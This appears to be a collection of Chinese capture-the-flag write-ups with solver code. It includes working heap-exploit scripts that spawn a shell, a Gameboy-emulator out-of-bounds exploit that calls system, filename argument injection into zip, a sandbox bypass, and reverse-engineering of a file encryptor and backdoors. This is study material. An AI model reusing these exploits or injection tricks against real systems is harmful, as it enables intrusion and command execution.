else:
p.close()
continue
create(NORM, 'b1')
create(NORM, 'b2')
create(NORM, p64(heap+0x10)[:-1].decode('latin-1'))
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1f0) + b'\x00' * (0x220 - 0x80 - 0x30 - 0x30) + flat(
0, 0x31,
heap + 0x1260, 0,
0, 0,
0, 0x21,
heap + 0x240, 0,
0, 0x21,
heap + 0x260, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
create(NORM, 'victim')
flag2_enc = heap + 0x13c0
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000000000) + b'\x00' * 0x78 + p64(0) + p64(0) + b'\x00' * (0x220 - 0x80 - 0x30 - 0x30) + flat(
0, 0x31,
0x2005010002 + (uid<<8), heap+0x220,
heap+0x240, heap + 0x12b00,
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
flag2_enc, 0
) + b'\x00' * 0xf)
p.sendlineafter("> ", "dec victim")
p.sendlineafter("> ", "write victim")
p.interactive()
exit()
# how2lose
from pwn import *
import os
import secrets
import hashlib
from time import time
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './myfs'
cnt = 0
class NcPowser:
def __init__(self, difficulty=22, prefix_length=16):
self.difficulty = difficulty
self.prefix_length = prefix_length
def get_challenge(self):
return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a')
def verify_hash(self, prefix, answer):
h = hashlib.sha256()
h.update((prefix + answer).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
return bits.startswith('0' * self.difficulty)
def pow_solver(p):
p.recvuntil('(')
prefix = p.recvuntil(' ')[:-1].decode()
p.recvuntil('(')
difficulty = int(p.recvuntil(')')[:-1])
powser = NcPowser(difficulty, len(prefix))
print(f'''
sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...
''')
last = int(time())
i = 0
while not powser.verify_hash(prefix, str(i)):
i += 1
print(int(time()) - last, 'seconds')
print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})")
p.sendlineafter("POW answer: ", str(i))
while True:
cnt+=1
if args['REMOTE']:
p = remote('edu-ctf.zoolab.org', 30213)
pow_solver(p)
else:
os.system('cp flag* /home/myfs/')
p = process('./myfs')
NORM = 'normfile'
DIR = 'dir'
R = 'read'
W = 'write'
RW = 'read,write'
def create(type, name):
p.sendlineafter("> ", "create {} {}".format(type, name))
def cd(name):
p.sendlineafter("> ", "cd {}".format(name))
def rm(name):
p.sendlineafter("> ", "rm {}".format(name))
def read(name, data):
p.sendlineafter("> ", "read {}".format(name))
p.sendline(data)
def write(name):
p.sendlineafter("> ", "write {}".format(name))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
def slss(name):
p.sendlineafter("> ", "slss {}".format(name))
def slsd(name):
p.sendlineafter("> ", "slsd {}".format(name))
def hlss(name):
p.sendlineafter("> ", "hlss {}".format(name))
def hlsd(name):
p.sendlineafter("> ", "hlsd {}".format(name))
def useradd(username, password):
p.sendlineafter("> ", "useradd {} {}".format(username, password))
def login(username, password):
p.sendlineafter("> ", "login {} {}".format(username, password))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
flag1_offset = 0x620
create(NORM, 'AAA')
read('AAA', 'A' * 0x420)
for i in range(252):
slss('AAA')
slsd('AAA_{}'.format(i))
slss('AAA')
slsd('/bin/sh\x00')
for i in range(3, 0xff):
useradd(f'{i}', f'{i}')
slss('AAA')
slsd('BBB')
slss('AAA')
slsd('CCC')
create(NORM, 'DDD')
for i in range(12):
create(NORM, "{}".format(i))
for i in range(12):
rm("{}".format(i))
rm('CCC')
rm('DDD')
for i in range(0xf):
login(f'{i*0x10+0x6}', f'{i*0x10+0x6}')
write('AAA_0')
tmp = p.recv(8)
print(tmp)
if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp:
heap = u64(tmp) - 0x12660
print(hex(heap))
print(cnt)
break
else:
p.close()
continue
create(NORM, 'b1')
create(NORM, 'b2')
create(NORM, p64(heap+0x10)[:-1].decode('latin-1')) # +0x12ae0
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
heap + 0x240, 0,
0, 0x21,
heap + 0x260, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
create(NORM, 'victim')
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
0, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
target = heap + 0x15c0
read('victim', 'A' * 0x80)
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
target, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
p.sendlineafter("> ", "write victim")
libc = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
hook = libc + 0x1eeb28
one_gadget = libc + 0xe6c84
system = libc + 0x55410
print(hex(libc))
print(hex(hook))
print(hex(one_gadget))
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
hook, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
read('victim', p64(system) + b'\x00' * 0x78)
for i in range(15):
rm(f'AAA_{i}')
rm('/bin/sh')
p.interactive()
exit()
# FLAG: FLAG{i hate the padding oracle :(}
這題是直接拿一個 Gameboy Emulator 的 repo 來出,
版本是最新的,poc、 patch diff 都沒有 ==
這個 Gameboy Emulator 在做的事,就是在執行時會動態將 Gameboy ROM 裡面的那些 instruction 轉譯成 x86_64 的 instruction,然後去執行。
經過一番 code auditing (HexRabbit 為什麼要讓我看這種東西 QwQ)
發現了一個有趣的東西。
在 gameboy assembly 中,可以將暫存器的值寫到一個 memory 上 e.g. ld [$a000], a
這個 instruction 轉譯完之後會變成
...
mov rArg1, state
mov rArg2, addr
mov rArg3, value
mov rax, &gb_memory_write
call rax
...
也就是 call gb_memory_write
,
看一下精簡過後的 gb_memory_write
source code:
/* emulate write through mbc */
void gb_memory_write(gb_state *state, uint64_t addr, uint64_t value)
{
addr &= 0xffff;
value &= 0xff;
if (addr < 0x8000) {
switch (state->mem->mbc) {
case MBC_NONE:
break;
case MBC2_BAT:
case MBC2:
case MBC1_RAM_BAT:
case MBC1:
...
case MBC3_TIMER_RAM_BAT:
case MBC3_RAM_BAT:
case MBC3:
...
case MBC5_RAM_BAT:
case MBC5:
if (addr >= 0x4000) {
gb_memory_change_ram_bank(state->mem, value);
} else if (addr >= 0x2000) {
int bank = value;
gb_memory_change_rom_bank(state->mem, bank);
}
break;
default:
break;
}
} else if (addr == 0xff05) {
...
} else if (addr == 0xff00) {
...
} else if (addr >= 0xff80) {
...
} else if (addr >= 0xff10 && addr <= 0xff3f) {
...
} else {
mem[addr] = value;
}
#endif
}
在 addr >= 0x8000
的時候,除了 0xffXX 的某些位置外,他會直接將 value 寫在 mem 上。
並且在 mbc
是 MBC5 的時候 (只要將 rom 的第 0x147 byte 設成 0x19 就行了),如果寫到 0x4000~0x7fff 這段區間的值,他會 call gb_memory_change_ram_bank
/* change RAM bank to bank if supported */
static void gb_memory_change_ram_bank(gb_memory *mem, int bank)
{
if (mem->current_ram_bank == bank)
return;
if (!mem->rtc_access) {
gb_memory_ram_flush(mem);
}
memcpy(mem->mem + 0xa000, mem->ram_banks + bank * 0x2000, 0x2000); // --- [0]
mem->rtc_access = false;
mem->current_ram_bank = bank;
}
void gb_memory_ram_flush(gb_memory *mem)
{
memcpy(mem->ram_banks + mem->current_ram_bank * 0x2000, mem->mem + 0xa000,
0x2000); // --- [1]
}
這個 function 大概的用意是可以根據狀況去進行切換 RAM bank。
切換的流程大概就是,
最關鍵的是他在進行這些記憶體切換的讀寫的時候 ( [1] 和 [2] ),
他做的是直接將 mem->mem + 0xa000
的東西複製到 mem->ram_banks + mem->current_ram_bank * 0x2000
或相反。
其中 current_ram_bank
是我們可控的值,可以是 0x00 ~ 0xff。
然而如果去看 mem->ram_banks
的空間怎麼來的,會發現他只有 4 個 ram banks
bool gb_memory_init(gb_memory *mem, const char *filename)
{
...
mem->ram_banks = malloc(MAX_RAM_BANKS * 0x2000); // MAX_RAM_BANKS = 4
...
}
也就是說,如果 current_ram_bank >= 4
,就會發生 oob r/w,於是就能根據實際執行的時候 heap 上面的值,來做任意修改。
所以最後的 exploit 過程如下:
system
system
system
時的 rdi 指向的地方的值 (也在 heap 上),寫成 "/bin/sh"
modified from https://github.com/dusterherz/gb-hello-world
template
INCLUDE "hardware.inc"
SECTION "Header", rom0[$100]
EntryPoint:
di
jp Start
REPT $147 - $104
db 0
ENDR
db 25 /* MBC5 */
REPT $150 - $148
ENDR
SECTION "Game Code", rom0
Start:
REPLACE_HERE
SECTION "Font", ROM0
SECTION "Hello World string", ROM0
HelloWorldStr:
db "Hello Github!", 0
gen_remote_exp.py
import os
from pwn import *
with open('template', 'r') as f:
template = f.read()
payload = ""
def switch_bank_ram(bank):
result = """\
xor a
add a, {}
ld [$4000], a
""".format(bank)
return result
def write_mem(addr, value):
result = """\
xor a
add a, {}
ld [${}], a
""".format(value, hex(addr)[2:])
return result
def write_mem64(addr, value):
result = ""
for i in range(8):
result += write_mem(addr+i, value & 0xff)
value >>= 8
return result
def load_sub_save(dest, src, val):
result = """\
ld a, [${}]
sbc a, {}
ld [${}], a
""".format(hex(src)[2:], val, hex(dest)[2:])
return result
def load_sub_save_mem48(dest, src, value):
result = ""
for i in range(6):
result += load_sub_save(dest+i, src+i, value & 0xff)
value >>= 8
return result
base = 0xa000
io_wfile_vtable = base+ 0x200
cmd_ptr = io_wfile_vtable + 0x790
func_ptr = cmd_ptr + 0x58
vtable_offset = 0x1ecf60
system_offset = 0x55410
payload += switch_bank_ram(4)
payload += load_sub_save_mem48(func_ptr, io_wfile_vtable, vtable_offset - system_offset)
payload += write_mem64(cmd_ptr, int(u64('cat /f*'.ljust(8, '\x00'))))
payload += switch_bank_ram(87)
with open('main.asm', 'w') as f:
f.write(template.replace("REPLACE_HERE", payload))
f.close()
os.system('make')
利用 open(0).read()
一次讀取所有輸入,再利用 getattr
和 map
產生符合 ast whitelist 的程式。
114 bytes
# print('\n'.join(map('Hello, {}!'.format(open(0).read().split('\n')))))
print(getattr('\n','join')(map(getattr('Hello, {}!','format'),getattr(getattr(open(0),'read')(),'split')('\n'))))
在
248 bytes
# Warning(
# v = list(),
# v.append1.618033988749895,
# list(map(print,
# map(round,
# map((0.447213595499957).__mul__,
# map(pow,
# v*99,
# map(int,open(0).read().split())
# )))
# ))
# )
Warning(getattr(vars(),'__setitem__')('v',list()),getattr(v,'append')(1.618033988749895),list(map(print,map(round,map(getattr(0.447213595499957,'__mul__'),map(pow,getattr(v,'__mul__')(99),map(int,getattr(getattr(open(0),'read')(),'split')())))))))
參考這篇的作法 http://philcrissman.net/posts/eulers-fizzbuzz/
396 bytes
# Warning(
# g = getattr,
# s = g(vars(),'__setitem__')),
# v = list(), v.append(4),
# u = list(), u.append(15),
# d = dict(), t = g(d,'__setitem__')),
# d[0] = 'FizzBuzz', d[6] = 'Fizz', d[10] = 'Buzz',
# list(
# map(print,
# map(d.get,
# map(
# int.__mod__,
# map(
# pow,
# range(1,10001),
# v * 10000
# ),
# u * 10000
# ),
# map(str, range(1,10001))
# ))
# )
# )
Warning(getattr(vars(),'__setitem__')('g',getattr),g(vars(),'__setitem__')('s',g(vars(),'__setitem__')),s('v',list()),g(v,'append')(4),s('u',list()),g(u,'append')(15),s('d',dict()),s('t',g(d,'__setitem__')),t(0,'FizzBuzz'),t(6,'Fizz'),t(10,'Buzz'),list(map(print,map(g(d,'get'),map(g(int,'__mod__'),map(pow,range(1,10001),g(v,'__mul__')(10000)),g(u,'__mul__')(10000)),map(str,range(1,10001))))))
FLAG{actually_you_can_also_solve_those_leetcode_challenges_in_this_way:D}
這題基本上如下:
#!/bin/sh
# check clang works
clang /check.c
if [ $? = 1 ]
then
echo 'cannot compile'
exit
fi
rm /check.c
# compile given code
clang /code.c
if [ $? = 1 ]
then
echo 'cannot compile'
exit
fi
# run it!
/a.out
check.c
是個直接 puts("FLAG{...}");
的 C
程式,而 code.c
是個可以自己上傳的檔案,沒有任何限制。只是因為這個是每次另外在新的 docker container 跑的,所以沒辦法直接打這題的網頁服務。
可以看到說它會編譯完 check.c
之後刪除之,然後編譯你的 code 之後執行。可以注意到說在編譯 code.c
的時候 a.out
其實是存在的,所以如果能把 a.out
用某些方法在 compile time 塞進 binary 中的話就簡單了。
Google 一下可以找到 Include binary file with gcc/clang,能讓你 include 任意檔案進來到一個 buffer 中。所以 include 進來後直接在 ELF 中搜尋 flag 然後輸出即可。
#include <stdio.h>
#define STR2(x) #x
#define STR(x) STR2(x)
#define INCBIN(name, file) \
__asm__(".section .rodata\n" \
".global incbin_" STR(name) "_start\n" \
".balign 16\n" \
"incbin_" STR(name) "_start:\n" \
".incbin \"" file "\"\n" \
\
".global incbin_" STR(name) "_end\n" \
".balign 1\n" \
"incbin_" STR(name) "_end:\n" \
".byte 0\n" \
); \
extern const __attribute__((aligned(16))) void* incbin_ ## name ## _start; \
extern const void* incbin_ ## name ## _end; \
INCBIN(bin, "a.out");
int main()
{
printf("start = %p\n", &incbin_bin_start);
printf("end = %p\n", &incbin_bin_end);
printf("size = %zu\n", (char*)&incbin_bin_end - (char*)&incbin_bin_start);
for(char *p=(char*)&incbin_bin_start; p!=&incbin_bin_end; p++) {
if(!strncmp(p, "FLAG{", 5)) {
printf("%.120s\n", p);
break;
}
}
printf("first byte = 0x%02x\n", ((unsigned char*)&incbin_bin_start)[0]);
}
Flag: FLAG{g1thu6_i55ue_is_a_gr3at_pL4ce_t0_find_bugssss}
這題 nc 上去會看到像是一個一般 heap note 的 menu,只是在 malloc 輸入 size 的時候輸入一些不是數字的東西會出現 error,可以知道是 xonsh 寫的服務,而 source code 在 /home/babyheap/main.xonsh
。
在 show 功能時輸入 note name 的地方可以用 path traversal 輸入 ../../../../home/babyheap/main.xonsh
得到原始碼,清理過後如下:
#!env xonsh
import secrets
import atexit
from urllib.parse import urlparse
from os import path
sandbox = f"/tmp/sandbox/{secrets.token_hex(16)}"
atexit.register(lambda: $[rm -rf @(sandbox)])
rm -rf @(sandbox)
mkdir -p @(sandbox)
cd @(sandbox)
def menu():
print(
"======== [Babyheap] ========\n"
"1. Malloc\n"
"2. Show\n"
"3. List\n"
"4. Free\n"
"0. Exit\n"
"----------------------------\n"
)
while True:
menu()
option = input("> ")
if option == "1":
file = secrets.token_hex(8) + ".txt"
size = input("Size: ")
if not size.isdigit():
exit -1
size = int(size)
content = input("Content: ")[:size]
echo @(content) | cowsay > @(file)
echo f"Note {file} created"
elif option == "2":
file = input("Note name: ")
if path.exists(file):
nl @(file)
else:
echo f"Note '{file}' does not exist"
elif option == "3":
for file in gp`./*.txt`:
echo "[+]" @(file.name)
elif option == "4":
file = path.basename(input("Note name: "))
if path.exists(file):
rm -f @(file)
echo f"Deleted '{file}'"
else:
echo f"free(): double free detected in tcache 1"
elif option == "9487":
url = input("URL: ")
if urlparse(url).path.endswith(".txt"):
wget --no-clobber @(url)
else:
echo "Should be a .txt file"
elif option == "9527":
zip export.zip *
link = $(curl --upload-file export.zip https://transfer.sh/export.zip)
echo f"Exported to {link}"
rm -f export.zip
elif option == "0":
echo "Exiting..."
break
else:
echo "Invalid option"
print()
可知它有兩個隱藏的功能,一個是使用 wget
下載 txt
檔案,另一個是把當前 sandbox 中所有檔案 zip 起來上傳到 transfer.sh。
問題點在於 zip export.zip *
這行,因為 *
是直接把當前目錄下所有的檔名展開成 arguments,如果有檔名是 -
開頭的話還是會被視為 flags 解析,就可能會出現一些問題。
參考 zip | GTFOBins 可知它有個 -TT
選項可以拿來執行指令:
zip /tmp/out /etc/hosts -T -TT 'sh #'
所以只要讓檔名恰好能湊成這樣的指令即可,不過還要讓它能在後面以 .txt
結尾才行。
-TT
部分可以把它合併成 -TTsh #.txt
處裡。-T
的因為它是不吃額外參數的,加上 .txt
會有錯誤,不過翻一下 man zip
可以發現它有個 -x
是拿來 exclude 檔案的,所以 -Tx.txt
可以過。另外還需要一個 input file,隨便的一個檔案如 z.txt
就行。
之後就弄個 server 可以對所有 path 返回 200 OK,然後讓它分別下載這三個檔案
https://server/-Tx.txt
https://server/-TTsh%20%23.txt
https://server/z.txt
在 xonsh 中輸入 echo export.zip *
會得到 export.zip -TTsh #.txt -Tx.txt z.txt
,所以 zip export.zip *
就會有 shell。 (-TTsh #.txt
實際上是一個 argument,空白是顯示的問題)
Flag: FLAG{I don't know why but nc+note=babyheap}
其實出壞了,可能是因為 XOR key 並不是從明文拉出來的,所以直接把加密過的檔案送進去程式,就得到明文了!
main 看起來很複雜,但其實大部分都不重要(X
這一大段都在努力把 .enc 加進去 path 內。
if ( (unsigned int)FilePathExistsA(*(_QWORD *)(file_name + 8), a2, a3) )
{
qmemcpy(v6, ".enc", 4);
heapHandle = HeapCreate(1i64, 40960i64, 409600i64);
fileHandle = CreateFileA(*(_QWORD *)(file_name + 8), 0x80000000i64, 1i64, 0i64, 3, 128, 0i64);
GetFileSizeEx_0(fileHandle, &file_size);
file_size_1 = file_size;
file_buf = RtlAllocateHeap(heapHandle, 0i64, file_size);
ReadFile_0(fileHandle, file_buf, (unsigned int)file_size_1, &byte_read, 0i64);
CloseHandle_0(fileHandle);
v13 = *(_QWORD *)(file_name + 8);
filename_len = -1i64;
do
++filename_len;
while ( *(_BYTE *)(v13 + filename_len) );
new_filename_buf = RtlAllocateHeap(heapHandle, 0i64, filename_len + 16);
for ( i = 0; ; ++i )
{
v14 = *(_QWORD *)(file_name + 8);
v8 = -1i64;
do
++v8;
while ( *(_BYTE *)(v14 + v8) );
if ( i >= v8 )
break;
*(_BYTE *)(new_filename_buf + i) = *(_BYTE *)(*(_QWORD *)(file_name + 8) + i);
}
for ( j = 0; (unsigned __int64)j < 4; ++j )
*(_BYTE *)(new_filename_buf + i++) = v6[j];// Append .enc
*(_BYTE *)(new_filename_buf + i) = 0;
...
}
值得一提的是,這邊的 API call 都是透過 table 完成的,至於這個 table 什麼時候蓋起來的呢,可以從 SEH 找到!
這邊會將 binary 內的密文還原。
.pdata:000000014005406C RUNTIME_FUNCTION <rva sub_1400013D0, rva DecryptString_0, \
.pdata:000000014005406C rva stru_14004D6F8>
這會將 API Table 蓋起來,然後都是透過爬 LDR Entry 來找 Function 的實際位置。
.pdata:00000001400540C0 RUNTIME_FUNCTION <rva RebuildImports, rva algn_140001A11, \
.pdata:00000001400540C0 rva stru_14004D730>
乍看之下好像都沒有加密,但其實加密手法被藏在 API Table,WriteFile
並不是直接去 call API,而是先將內容物改好再去執行 API。
經過整理過後的加密函數,會做兩個亂數生產器,第一個是固定 Seed,另一個則是拿檔案的前四個明文當作 Seed,所幸加密後會將前四位存起來,解密的時候直接來拿當 Seed 就好。
__int64 __fastcall DoEncryption(unsigned int *lpBuffer, unsigned int size)
{
unsigned __int64 i; // [rsp+20h] [rbp-13E8h]
unsigned int v4; // [rsp+28h] [rbp-13E0h]
int v5; // [rsp+2Ch] [rbp-13DCh]
int v6; // [rsp+30h] [rbp-13D8h]
__int64 newBuffer; // [rsp+38h] [rbp-13D0h]
__int64 heapHandle; // [rsp+40h] [rbp-13C8h]
_DWORD state[628]; // [rsp+50h] [rbp-13B8h] BYREF
char v10[2512]; // [rsp+A20h] [rbp-9E8h] BYREF
InitializeMT(state);
v4 = *lpBuffer;
InitializeMT_0(v10, *lpBuffer);
heapHandle = HeapCreate(1i64, 40960i64, 409600i64);
newBuffer = RtlAllocateHeap(heapHandle, 0i64, size + 4);
for ( i = 0i64; i < size; ++i )
{
v5 = *((unsigned __int8 *)lpBuffer + i) + 32;
v6 = MTRandom((__int64)state) ^ v5;
*(_BYTE *)(i + newBuffer) = MTRandom((__int64)v10) ^ v6;
}
*(_DWORD *)(i + newBuffer) = v4;
return newBuffer;
}
solver.py
import string
import struct
def _int32(x):
return int(0xFFFFFFFF & x)
class MT19937:
def __init__(self, seed):
self.mt = [0] * 624
self.mt[0] = seed
self.mti = 0
for i in range(1, 624):
self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)
def extract_number(self):
if self.mti == 0:
self.twist()
y = self.mt[self.mti]
y = y ^ y >> 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y >> 18
self.mti = (self.mti + 1) % 624
return _int32(y)
def twist(self):
for i in range(0, 624):
y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x9908b0df
def do_decryption(data):
m1 = MT19937(0x18b)
m2 = MT19937(struct.unpack('<L', data[-4:])[0])
flag = ''
for i, d in enumerate(data):
ori = (d ^ m2.extract_number() ^ m1.extract_number()) - 0x20 & 0xff
flag += chr(ori)
print(f'[+] Current: {flag} {i}/{len(data)}')
read_fp = open('./wannasleeeeeeep.txt.enc', 'rb')
enc_data = read_fp.read()
read_fp.close()
do_decryption(enc_data)
一個有視窗的 PE,可以從 initialize 的過程看到是誰在處理 message event
WndClass.lpfnWndProc = (WNDPROC)do_check;
WndClass.hInstance = GetModuleHandleA(0i64);
WndClass.lpszClassName = ClassName;
RegisterClassW(&WndClass);
hInstance = GetModuleHandleA(0i64);
hWnd = CreateWindowExW(0, ClassName, L"Password Checker 2022", 0xCF0000u, 0, 0, 500, 100, 0i64, 0i64, hInstance, 0i64);
值得一提的是,按鈕在初始化的時候被 disable 了,隨手 patch 一下。
CreateWindowExW(0, L"BUTTON", L"OK", 0x50010001u, 400, 20, 50, 20, hWnd, (HMENU)0x96, v2, 0i64);
ShowWindow(hWnd, 0);
然後也可以知道這個按鈕按下去後,視窗控制碼會是 0x96
所以我們直接去看 do_check
針對這個視窗控制碼的 code
else if ( message == 0x111 && (unsigned __int16)wParam == 0x96 )// wm_command
{
v7 = GetDlgItem(handle, 152);
GetWindowTextW(v7, String, 256);
string_len = -1i64;
do
++string_len;
while ( String[string_len] );
sub_14000254C((__int64)buf, (__int64)String, string_len + 1);
if ( validate_flag((__int64)buf) )
MessageBoxW(handle, L"Correct!", String, 0);
else
MessageBoxW(handle, L"Failed...", String, 0);
result = 0i64;
}
至於 sub_14000254C
裡面看起來就只是在做寬字元的轉換。
走進 validate_flag
,映入眼簾的會是一個可見的字串
qmemcpy(pbData, "passwd_checker_2022_key_len_only_0x10_you_must_care_about_it_homie", 68ui64);
繼續往下看,會看到一系列 CryptoAPI 的操作。
基本上就是拿剛剛的字串去產 hash,用什麼演算法可以透過參數來得知是 CALG_RC4
。
然後用這個 hash object 去產 AES Key。
加密後結果用 base64 去比對,但不知道為什麼 IDA 這邊給我的 base64 跟我動態拿到的不太一樣,所以最後還是用動態拿到的 base64 來當解 flag 的依據。
if ( !CryptAcquireContextW(&phProv, 0i64, 0i64, 1u, 0) )
{
if ( GetLastError() != 0x80090016 )
return 0;
if ( !CryptAcquireContextW(&phProv, 0i64, 0i64, 1u, 8u) )
return 0;
}
if ( !CryptCreateHash(phProv, 0x8004u, 0i64, 0, &phHash) )
return 0;
if ( CryptHashData(phHash, pbData, len_pbData, 0) )
{
if ( CryptDeriveKey(phProv, 0x6801u, phHash, 1u, &phKey) )
{
CryptDestroyHash(phHash);
if ( CryptEncrypt(phKey, 0i64, 1, 0, 0i64, &pdwDataLen, 0) )
{
buffer_len = -1i64;
do
++buffer_len;
while ( *(_BYTE *)(buffer + buffer_len) );
pdwDataLen = buffer_len + 1;
SetZero(&::pbData, 0x100ui64);
do_memcpy(&::pbData, pdwDataLen, (const void *)buffer, (unsigned int)(buffer_len + 1));
if ( CryptEncrypt(phKey, 0i64, 1, 0, &::pbData, &pdwDataLen, buffer_len + 1) )
{
if ( GetResultWithBase64(&result_size, &::pbData, buffer_len + 1) )
{
v2 = result_base64;
v3 = "E2J4z66WDHCgvxlWlILStr8epTuHJ5FFuTeK6LmBwVnN" - result_base64;
while ( 1 )
{
v4 = *v2;
if ( *v2 != v2[v3] )
break;
++v2;
if ( !v4 ) // Goal
{
v5 = 0;
goto LABEL_34;
}
}
v5 = v4 < (unsigned __int8)v2[v3] ? -1 : 1;
LABEL_34:
result = v5 == 0;
}
solver.py
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt
from wincrypto.constants import CALG_SHA1, CALG_RC4
import base64
to_be_hashed = b'passwd_checker_2022_key_len_only_0x10_you_must_care_about_it_homie'
enc_b64 = b'G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ='
enc = base64.b64decode(enc_b64)
sha1_hasher = CryptCreateHash(CALG_SHA1)
CryptHashData(sha1_hasher, to_be_hashed)
aes_key = CryptDeriveKey(sha1_hasher, CALG_RC4)
print(CryptDecrypt(aes_key, enc))
從 Dockerfile 發現會安裝 dropbear,再把 dropbear 的 binary 替換掉。
使用 apt install dropbear
並利用 binary diff 工具觀察。
總共被改了 5 個地方,改動最大的部分是在 0x1C500。
查看 xref 發現它會從 0x17587 跳過來,和第三個 diff 的位置相符。
這段 assembly 會將 $rdi 指向的字串 xor 0xAE 與 byte_1C548 比較,將 byte_1C548 xor 0xAE 即可得到 flag。
from pwn import xor
offset = 0x1C548
size = 32
data = open('./chal/dropbear','rb').read()[offset:offset+size]
data = bytes(xor(data, 0xAE)).decode()
print(data)
# FLAG{BaCkD0oooooo000oo0o0o0o0oR}
丟進 dnspy
namespace dnbd
{
// Token: 0x02000005 RID: 5
internal class Program
{
// Token: 0x06000009 RID: 9 RVA: 0x00002813 File Offset: 0x00000A13
private static void Main(string[] args)
{
BBBB.run();
}
}
}
至於 BBBB.run()
會解爛,那一定有什麼詭異的事情發生了。
所以去看 BBBB
的 constructor。
果然做了很多怪怪的事情,也可以看到 VirtualProtect
。
IntPtr hinstance = Marshal.GetHINSTANCE(typeof(BBBB).Module);
... << 讀內容物,然後寫回去程式
把程式動態跑起來,然後用 CheatEngine
Dump Process,再把資訊填回去,就得到一個漂亮的 run()
了。
往下看 run()
:
跑了一個東西並聽在 5566。
int port = 5566;
tcpListener = new TcpListener(IPAddress.Parse("0.0.0.0"), port);
tcpListener.Start();
之後會產隨機 4 Bytes,並送給連接者。
然後會 Calculate
,實際上其實就是做 MD5。
string s = BBBB.RandomString(32);
byte[] bytes = Encoding.ASCII.GetBytes(s);
stream.Write(bytes, 0, bytes.Length);
stream.Read(array, 0, 4);
...
string s2 = CCC.Calculate(bytes);
往下會先讀數字當作資料長度,再根據長度讀資料
stream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
stream.Read(array, 0, num);
string s2 = CCC.Calculate(bytes);
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
再往後,會將讀入的資料做 XOR Decryption,然後會是某個 Path 這個程式會去開對應的檔案。
for (int i = 0; i < num; i++)
{
byte[] array2 = array;
int num3 = i;
array2[num3] ^= bytes2[i % num2];
}
using (FileStream fileStream = File.OpenRead(Encoding.UTF8.GetString(array).TrimEnd(new char[1])))
最後呢,將檔案內容讀出來然後每 1024 一個 chunk,做完 XOR 之後送出。
using (FileStream fileStream = File.OpenRead(Encoding.UTF8.GetString(array).TrimEnd(new char[1])))
{
byte[] array3 = new byte[1024];
int num4;
while ((num4 = fileStream.Read(array3, 0, array3.Length)) > 0)
{
for (int j = 0; j < num4; j++)
{
byte[] array4 = array3;
int num5 = j;
array4[num5] ^= bytes2[j % num2];
}
byte[] buffer = (from x in BitConverter.GetBytes(num4).Concat(array3)
select x).ToArray<byte>();
stream.Write(buffer, 0, 4 + num4);
}
break;
}
根據這些資訊,就可以把封包內容解開了!
solver.py
import hashlib
import struct
rand_byte = b'iTAVgXLdWAkxSL5aEiiWyZqTaj15BHZZ'
key = hashlib.md5(rand_byte).hexdigest()
# data = b'\x71\x59\x6a\x6d\x16\x53\x10\x16\x3f\x40\x42\x38\x75\x5d\x01\x42\x0c\x04\x5c\x16\x12\x6b\x4d\x17\x05\x5a\x17\x56\x4a\x5b\x47\x45\x1c\x17\x4e\x4c'
# C:\Users\pt\Documents\transcript.txt
data = None
with open('./encoded.enc', 'rb') as f:
f.read(0x20)
try:
while True:
buf = f.read(4)
size = struct.unpack('<I', buf)[0]
# print(f'[*] Parsing {size} bytes.')
data = f.read(size)
for i, d in enumerate(data):
print(chr(d ^ ord(key[i % len(key)])), end='')
except:
pass